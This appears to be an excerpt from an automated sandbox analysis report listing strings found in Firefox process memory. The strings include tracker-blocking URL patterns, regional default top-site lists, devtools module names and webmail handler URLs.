Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B43000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: ["*://webcompat-addon-testbed.herokuapp.com/shims_test.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "*://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js*", "*://track.adform.net/serving/scripts/trackpoint/", "*://track.adform.net/serving/scripts/trackpoint/async/", "*://*.adnxs.com/*/ast.js*", "*://*.adnxs.com/*/pb.js*", "*://*.adnxs.com/*/prebid*", "*://www.everestjs.net/static/st.v3.js*", "*://static.adsafeprotected.com/vans-adapter-google-ima.js", "*://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "*://cdn.branch.io/branch-latest.min.js*", "*://pub.doubleverify.com/signals/pub.js*", "*://c.amazon-adsystem.com/aax2/apstag.js", "*://auth.9c9media.ca/auth/main.js", "*://static.chartbeat.com/js/chartbeat.js", "*://static.chartbeat.com/js/chartbeat_video.js", "*://static.criteo.net/js/ld/publishertag.js", "*://*.imgur.com/js/vendor.*.bundle.js", "*://*.imgur.io/js/vendor.*.bundle.js", "*://www.rva311.com/static/js/main.*.chunk.js", "*://web-assets.toggl.com/app/assets/scripts/*.js", "*://libs.coremetrics.com/eluminate.js", "*://connect.facebook.net/*/sdk.js*", "*://connect.facebook.net/*/all.js*", "*://secure.cdn.fastclick.net/js/cnvr-launcher/*/launcher-stub.min.js*", "*://www.google-analytics.com/analytics.js*", "*://www.google-analytics.com/gtm/js*", "*://www.googletagmanager.com/gtm.js*", "*://www.google-analytics.com/plugins/ua/ec.js", "*://ssl.google-analytics.com/ga.js", "*://s0.2mdn.net/instream/html5/ima3.js", "*://imasdk.googleapis.com/js/sdkloader/ima3.js", "*://www.googleadservices.com/pagead/conversion_async.js", "*://www.googletagservices.com/tag/js/gpt.js*", "*://pagead2.googlesyndication.com/tag/js/gpt.js*", "*://pagead2.googlesyndication.com/gpt/pubads_impl_*.js*", "*://securepubads.g.doubleclick.net/tag/js/gpt.js*", "*://securepubads.g.doubleclick.net/gpt/pubads_impl_*.js*", "*://script.ioam.de/iam.js", "*://cdn.adsafeprotected.com/iasPET.1.js", "*://static.adsafeprotected.com/iasPET.1.js", "*://adservex.media.net/videoAds.js*", "*://*.moatads.com/*/moatad.js*", "*://*.moatads.com/*/moatapi.js*", "*://*.moatads.com/*/moatheader.js*", "*://*.moatads.com/*/yi.js*", "*://*.imrworldwide.com/v60.js", "*://cdn.optimizely.com/js/*.js", "*://cdn.optimizely.com/public/*.js", "*://id.rambler.ru/rambler-id-helper/auth_events.js", "*://media.richrelevance.com/rrserver/js/1.2/p13n.js", "*://www.gstatic.com/firebasejs/*/firebase-messaging.js*", "*://*.vidible.tv/*/vidible-min.js*", "*://vdb-cdn-files.s3.amazonaws.com/*/vidible-min.js*", "*://js.maxmind.com/js/apis/geoip2/*/geoip2.js", "*://s.webtrends.com/js/advancedLinkTracking.js", "*://s.webtrends.com/js/webtrends.js", "*://s.webtrends.com/js/webtrends.min.js"] equals www.rambler.ru (Rambler)
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: [{incognito:null, tabId:null, types:["image"], urls:["*://track.adform.net/Serving/TrackPoint/*", "*://pixel.advertising.com/firefox-etp", "*://*.advertising.com/*.js*", "*://*.advertising.com/*", "*://securepubads.g.doubleclick.net/gampad/*ad-blk*", "*://pubads.g.doubleclick.net/gampad/*ad-blk*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://vast.adsafeprotected.com/vast*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://securepubads.g.doubleclick.net/gampad/*ad*", "*://pubads.g.doubleclick.net/gampad/*ad*", "*://www.facebook.com/platform/impression.php*", "https://ads.stickyadstv.com/firefox-etp", "*://ads.stickyadstv.com/auto-user-sync*", "*://ads.stickyadstv.com/user-matching*", "https://static.adsafeprotected.com/firefox-etp-pixel", "*://*.adsafeprotected.com/*.gif*", "*://*.adsafeprotected.com/*.png*", "*://*.adsafeprotected.com/*.js*", "*://*.adsafeprotected.com/*/adj*", "*://*.adsafeprotected.com/*/imp/*", "*://*.adsafeprotected.com/*/Serving/*", "*://*.adsafeprotected.com/*/unit/*", "*://*.adsafeprotected.com/jload", "*://*.adsafeprotected.com/jload?*", "*://*.adsafeprotected.com/jsvid", "*://*.adsafeprotected.com/jsvid?*", "*://*.adsafeprotected.com/mon*", "*://*.adsafeprotected.com/tpl", "*://*.adsafeprotected.com/tpl?*", "*://*.adsafeprotected.com/services/pub*", "*://*.adsafeprotected.com/*"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: [{incognito:null, tabId:null, types:["imageset"], urls:["*://track.adform.net/Serving/TrackPoint/*", "*://pixel.advertising.com/firefox-etp", "*://*.advertising.com/*.js*", "*://*.advertising.com/*", "*://securepubads.g.doubleclick.net/gampad/*ad-blk*", "*://pubads.g.doubleclick.net/gampad/*ad-blk*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://vast.adsafeprotected.com/vast*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://securepubads.g.doubleclick.net/gampad/*ad*", "*://pubads.g.doubleclick.net/gampad/*ad*", "*://www.facebook.com/platform/impression.php*", "https://ads.stickyadstv.com/firefox-etp", "*://ads.stickyadstv.com/auto-user-sync*", "*://ads.stickyadstv.com/user-matching*", "https://static.adsafeprotected.com/firefox-etp-pixel", "*://*.adsafeprotected.com/*.gif*", "*://*.adsafeprotected.com/*.png*", "*://*.adsafeprotected.com/*.js*", "*://*.adsafeprotected.com/*/adj*", "*://*.adsafeprotected.com/*/imp/*", "*://*.adsafeprotected.com/*/Serving/*", "*://*.adsafeprotected.com/*/unit/*", "*://*.adsafeprotected.com/jload", "*://*.adsafeprotected.com/jload?*", "*://*.adsafeprotected.com/jsvid", "*://*.adsafeprotected.com/jsvid?*", "*://*.adsafeprotected.com/mon*", "*://*.adsafeprotected.com/tpl", "*://*.adsafeprotected.com/tpl?*", "*://*.adsafeprotected.com/services/pub*", "*://*.adsafeprotected.com/*"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B60000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["*://webcompat-addon-testbed.herokuapp.com/shims_test.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "*://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js*", "*://track.adform.net/serving/scripts/trackpoint/", "*://track.adform.net/serving/scripts/trackpoint/async/", "*://*.adnxs.com/*/ast.js*", "*://*.adnxs.com/*/pb.js*", "*://*.adnxs.com/*/prebid*", "*://www.everestjs.net/static/st.v3.js*", "*://static.adsafeprotected.com/vans-adapter-google-ima.js", "*://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "*://cdn.branch.io/branch-latest.min.js*", "*://pub.doubleverify.com/signals/pub.js*", "*://c.amazon-adsystem.com/aax2/apstag.js", "*://auth.9c9media.ca/auth/main.js", "*://static.chartbeat.com/js/chartbeat.js", "*://static.chartbeat.com/js/chartbeat_video.js", "*://static.criteo.net/js/ld/publishertag.js", "*://*.imgur.com/js/vendor.*.bundle.js", "*://*.imgur.io/js/vendor.*.bundle.js", "*://www.rva311.com/static/js/main.*.chunk.js", "*://web-assets.toggl.com/app/assets/scripts/*.js", "*://libs.coremetrics.com/eluminate.js", "*://connect.facebook.net/*/sdk.js*", "*://connect.facebook.net/*/all.js*", "*://secure.cdn.fastclick.net/js/cnvr-launcher/*/launcher-stub.min.js*", "*://www.google-analytics.com/analytics.js*", "*://www.google-analytics.com/gtm/js*", "*://www.googletagmanager.com/gtm.js*", "*://www.google-analytics.com/plugins/ua/ec.js", "*://ssl.google-analytics.com/ga.js", "*://s0.2mdn.net/instream/html5/ima3.js", "*://imasdk.googleapis.com/js/sdkloader/ima3.js", "*://www.googleadservices.com/pagead/conversion_async.js", "*://www.googletagservices.com/tag/js/gpt.js*", "*://pagead2.googlesyndication.com/tag/js/gpt.js*", "*://pagead2.googlesyndication.com/gpt/pubads_impl_*.js*", "*://securepubads.g.doubleclick.net/tag/js/gpt.js*", "*://securepubads.g.doubleclick.net/gpt/pubads_impl_*.js*", "*://script.ioam.de/iam.js", "*://cdn.adsafeprotected.com/iasPET.1.js", "*://static.adsafeprotected.com/iasPET.1.js", "*://adservex.media.net/videoAds.js*", "*://*.moatads.com/*/moatad.js*", "*://*.moatads.com/*/moatapi.js*", "*://*.moatads.com/*/moatheader.js*", "*://*.moatads.com/*/yi.js*", "*://*.imrworldwide.com/v60.js", "*://cdn.optimizely.com/js/*.js", "*://cdn.optimizely.com/public/*.js", "*://id.rambler.ru/rambler-id-helper/auth_events.js", "*://media.richrelevance.com/rrserver/js/1.2/p13n.js", "*://www.gstatic.com/firebasejs/*/firebase-messaging.js*", "*://*.vidible.tv/*/vidible-min.js*", "*://vdb-cdn-files.s3.amazonaws.com/*/vidible-min.js*", "*://js.maxmind.com/js/apis/geoip2/*/geoip2.js", "*://s.webtrends.com/js/advancedLinkTracking.js", "*://s.webtrends.com/js/webtrends.js", "*://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B43000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3385444273.00000214A7B60000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["*://webcompat-addon-testbed.herokuapp.com/shims_test.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "*://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js*", "*://track.adform.net/serving/scripts/trackpoint/", "*://track.adform.net/serving/scripts/trackpoint/async/", "*://*.adnxs.com/*/ast.js*", "*://*.adnxs.com/*/pb.js*", "*://*.adnxs.com/*/prebid*", "*://www.everestjs.net/static/st.v3.js*", "*://static.adsafeprotected.com/vans-adapter-google-ima.js", "*://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "*://cdn.branch.io/branch-latest.min.js*", "*://pub.doubleverify.com/signals/pub.js*", "*://c.amazon-adsystem.com/aax2/apstag.js", "*://auth.9c9media.ca/auth/main.js", "*://static.chartbeat.com/js/chartbeat.js", "*://static.chartbeat.com/js/chartbeat_video.js", "*://static.criteo.net/js/ld/publishertag.js", "*://*.imgur.com/js/vendor.*.bundle.js", "*://*.imgur.io/js/vendor.*.bundle.js", "*://www.rva311.com/static/js/main.*.chunk.js", "*://web-assets.toggl.com/app/assets/scripts/*.js", "*://libs.coremetrics.com/eluminate.js", "*://connect.facebook.net/*/sdk.js*", "*://connect.facebook.net/*/all.js*", "*://secure.cdn.fastclick.net/js/cnvr-launcher/*/launcher-stub.min.js*", "*://www.google-analytics.com/analytics.js*", "*://www.google-analytics.com/gtm/js*", "*://www.googletagmanager.com/gtm.js*", "*://www.google-analytics.com/plugins/ua/ec.js", "*://ssl.google-analytics.com/ga.js", "*://s0.2mdn.net/instream/html5/ima3.js", "*://imasdk.googleapis.com/js/sdkloader/ima3.js", "*://www.googleadservices.com/pagead/conversion_async.js", "*://www.googletagservices.com/tag/js/gpt.js*", "*://pagead2.googlesyndication.com/tag/js/gpt.js*", "*://pagead2.googlesyndication.com/gpt/pubads_impl_*.js*", "*://securepubads.g.doubleclick.net/tag/js/gpt.js*", "*://securepubads.g.doubleclick.net/gpt/pubads_impl_*.js*", "*://script.ioam.de/iam.js", "*://cdn.adsafeprotected.com/iasPET.1.js", "*://static.adsafeprotected.com/iasPET.1.js", "*://adservex.media.net/videoAds.js*", "*://*.moatads.com/*/moatad.js*", "*://*.moatads.com/*/moatapi.js*", "*://*.moatads.com/*/moatheader.js*", "*://*.moatads.com/*/yi.js*", "*://*.imrworldwide.com/v60.js", "*://cdn.optimizely.com/js/*.js", "*://cdn.optimizely.com/public/*.js", "*://id.rambler.ru/rambler-id-helper/auth_events.js", "*://media.richrelevance.com/rrserver/js/1.2/p13n.js", "*://www.gstatic.com/firebasejs/*/firebase-messaging.js*", "*://*.vidible.tv/*/vidible-min.js*", "*://vdb-cdn-files.s3.amazonaws.com/*/vidible-min.js*", "*://js.maxmind.com/js/apis/geoip2/*/geoip2.js", "*://s.webtrends.com/js/advancedLinkTracking.js", "*://s.webtrends.com/js/webtrends.js", "*://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 0000001D.00000002.3421104125.00000214ADAB1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001D.00000003.3318498425.00000214ABF64000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.3329882750.00000214AF751000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.facebook.com/https://www.wikipedia.org/devtools.jsonview.enabledSSF_updateSessionStoreForStorageconvertStorageTransactionType equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.3455841422.0000250454D04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.3329882750.00000214AF751000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7BE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3421104125.00000214ADAB1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7BE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3421104125.00000214ADAB1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B43000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3421104125.00000214ADAB1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B43000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3421104125.00000214ADAB1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B43000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3421104125.00000214ADAB1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001D.00000002.3421104125.00000214ADAB1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.3421104125.00000214ADAB1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001D.00000002.3421104125.00000214ADAB1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.3421104125.00000214ADAB1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B43000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3421104125.00000214ADAB1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B43000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3421104125.00000214ADAB1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B43000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3421104125.00000214ADAB1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001D.00000002.3421104125.00000214ADAB1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.3421104125.00000214ADAB1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001D.00000002.3421104125.00000214ADAB1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001D.00000002.3421104125.00000214ADAB1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.3421104125.00000214ADAB1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001D.00000002.3421104125.00000214ADAB1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B43000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B43000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B43000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B43000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3442157921.00000214B3B78000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3421104125.00000214ADAB1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B43000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3442157921.00000214B3B78000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3421104125.00000214ADAB1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B43000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3442157921.00000214B3B78000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3421104125.00000214ADAB1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B73000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: releaseDistinctSystemPrincipalLoaderresource://devtools/shared/security/socket.js@mozilla.org/dom/slow-script-debug;1devtools.debugger.remote-websocket{9e9a9283-0ce9-4e4a-8f1c-ba129a032c32}Got invalid request to save JSON datadevtools/client/framework/devtoolsFailed to listen. Listener already attached.^([a-z][a-z0-9.+\t-]*)(:|;)?(\/\/)?devtools.performance.popup.feature-flagFailed to execute WebChannel callback:WebChannel/this._originCheckCallback@mozilla.org/network/protocol;1?name=default@mozilla.org/network/protocol;1?name=filedevtools/client/framework/devtools-browserresource://devtools/server/devtools-server.jsUnable to start devtools server on Failed to listen. Callback argument missing.^[a-z0-9-]+(\.[a-z0-9-]+)*:[0-9]{1,5}([/?#]|$)devtools.performance.recording.ui-base-urlbrowser.fixup.domainsuffixwhitelist.get FIXUP_FLAG_ALLOW_KEYWORD_LOOKUP^([a-z+.-]+:\/{0,3})*([^\/@]+@).+DevTools telemetry entry point failed: get FIXUP_FLAGS_MAKE_ALTERNATE_URI_finalizeInternal/this._finalizePromise<resource://gre/modules/JSONFile.sys.mjshttp://compose.mail.yahoo.co.jp/ym/Compose?To=%s@mozilla.org/network/file-input-stream;1resource://gre/modules/FileUtils.sys.mjshttps://poczta.interia.pl/mh/?mailto=%shttps://mail.inbox.lv/compose?to=%s@mozilla.org/uriloader/local-handler-app;1@mozilla.org/uriloader/web-handler-app;1@mozilla.org/uriloader/dbus-handler-app;1Can't invoke URIFixup in the content processresource://gre/modules/NetUtil.sys.mjsextension/default-theme@mozilla.org/extendedData{33d75835-722f-42c0-89cc-44f328e56a86}isDownloadsImprovementsAlreadyMigratedgecko.handlerService.defaultHandlersVersionget FIXUP_FLAG_FORCE_ALTERNATE_URIextractScheme/fixupChangedProtocol<Scheme should be either http or httpshttp://www.inbox.lv/rfc2368/?value=%shandlerSvc fillHandlerInfo: don't know this typeresource://gre/modules/DeferredTask.sys.mjsresource://gre/modules/JSONFile.sys.mjsresource://gre/modules/ExtHandlerService.sys.mjsresource://gre/modules/URIFixup.sys.mjsresource://gre/modules/FileUtils.sys.mjs{c6cf88b7-452e-47eb-bdc9-86e3561648ef}_injectDefaultProtocolHandlersIfNeededhttps://mail.yahoo.co.jp/compose/?To=%shttp://poczta.interia.pl/mh/?mailto=%shttp://win.mail.ru/cgi-bin/sentmsg?mailto=%shttps://e.mail.ru/cgi-bin/sentmsg?mailto=%s@mozilla.org/network/async-stream-copier;1Must have a source and a callback@mozilla.org/network/simple-stream-listener;1newChannel requires a single object argumentSEC_ALLOW_CROSS_ORIGIN_SEC_CONTEXT_IS_NULLFirst argument should be an nsIInputStreamNon-zero amount of bytes must be specified@mozilla.org/intl/converter-input-stream;1@mozilla.org/scriptableinputstream;1https://mail.yandex.ru/compose?mailto=%shttps://e.mail.ru/cgi-bin/sentmsg?mailto=%s@mozilla.org/network/input-stream-pump;1https://mail.inbox.lv/compose?to=%shttps://poczta.interia.pl/mh/?mailto=%spdfjs.previousHandler.preferredActionpdfjs.previousHandler.alwaysAskBeforeHandling@mozilla.org/uriloader/handler-service;1https://mail.yahoo.co.jp/compose/?To=%sVALIDATE_DONT
Source: firefox.exe, 0000001D.00000003.3318498425.00000214ABF64000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: updateSessionStoreForStorageDEFAULT_REPLACEMENT_CHARACTERget sendAttributionRequestdecodeImageFromArrayBuffermain/nimbus-desktop-experimentsmessage-manager-disconnecthttps://www.facebook.com/https://www.wikipedia.org/devtools.jsonview.enabledSSF_updateSessionStoreForStorage equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: updated-import-infrequent-rollout-make-yourself-at-home-copyUpdated Import Infrequent Rollout - Make Yourself At Home CopyExperimenting on onboarding content when you upgrade Firefox.firefox-desktop-search-release-no_targeting-rollout-1WEBEXT_BACKGROUND_PAGE_LOAD_MS_BY_ADDONIDdisabled_picture_in_picture_overrides.dailymotionTesting out the data and insights capture in the awesome bar.disabled_picture_in_picture_overrides.frontendMastersdisabled_picture_in_picture_overrides.frontendMastersfirefox-desktop-urlbar-nightly-no_targeting-rollout-2disabled_picture_in_picture_overrides.radiocanadadisabled_picture_in_picture_overrides.washingtonpostThis is a validation test, no changes are being appliedThis is a validation test, no changes are being appliedUPDATE moz_places SET alt_frecency = NULLfirefox-desktop-no-feature-firefox-desktop-release-1places.sqlite#1: PlacesExpiration.jsm: setup (1)WEBEXT_BACKGROUND_PAGE_LOAD_MS_BY_ADDONIDdisabled_picture_in_picture_overrides.yahoofinancedisabled_picture_in_picture_overrides.yahoofinancedisabled_picture_in_picture_overrides.dailymotiondisabled_picture_in_picture_overrides.radiocanadadisabled_picture_in_picture_overrides.washingtonpostTesting out the data and insights capture in the awesome bar.firefox-desktop-no-feature-firefox-desktop-release-1places.sqlite#1: PlacesUtils.metadata.get (0)This is a validation test, no changes are being appliedupdated-import-infrequent-rollout-make-yourself-at-home-copyfirefox-desktop-no-feature-firefox-desktop-release-1firefox-desktop-upgradeDialog-no_targeting-rollout-1firefox-desktop-search-nightly-no_targeting-rollout-1firefox-desktop-urlbar-release-no_targeting-rollout-2{"active":false,"fullscreen":true,"tabsintitlebar":false}*://static.adsafeprotected.com/vans-adapter-google-ima.js*://securepubads.g.doubleclick.net/tag/js/gpt.js**://securepubads.g.doubleclick.net/gpt/pubads_impl_*.js**://id.rambler.ru/rambler-id-helper/auth_events.js{"active":false,"fullscreen":true,"tabsintitlebar":false}*://www.gstatic.com/firebasejs/*/firebase-messaging.js**://vdb-cdn-files.s3.amazonaws.com/*/vidible-min.js*"*://webcompat-addon-testbed.herokuapp.com/shims_test.js""*://track.adform.net/serving/scripts/trackpoint/async/"*://media.richrelevance.com/rrserver/js/1.2/p13n.js"*://static.adsafeprotected.com/vans-adapter-google-ima.js""*://web-assets.toggl.com/app/assets/scripts/*.js""*://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js""*://pagead2.googlesyndication.com/tag/js/gpt.js*"*://www.googleadservices.com/pagead/conversion_async.js"*://pagead2.googlesyndication.com/gpt/pubads_impl_*.js*""*://securepubads.g.doubleclick.net/tag/js/gpt.js*"*://pagead2.googlesyndication.com/gpt/pubads_impl_*.js*"*://track.adform.net/serving/scripts/trackpoint/""*://securepubads.g.doubleclick.net/gpt/pubads_impl_*.js*"nav-bar{"active":false,"fullscreen":true,"tabsintitlebar":false}"*://www.googleadservices.com/p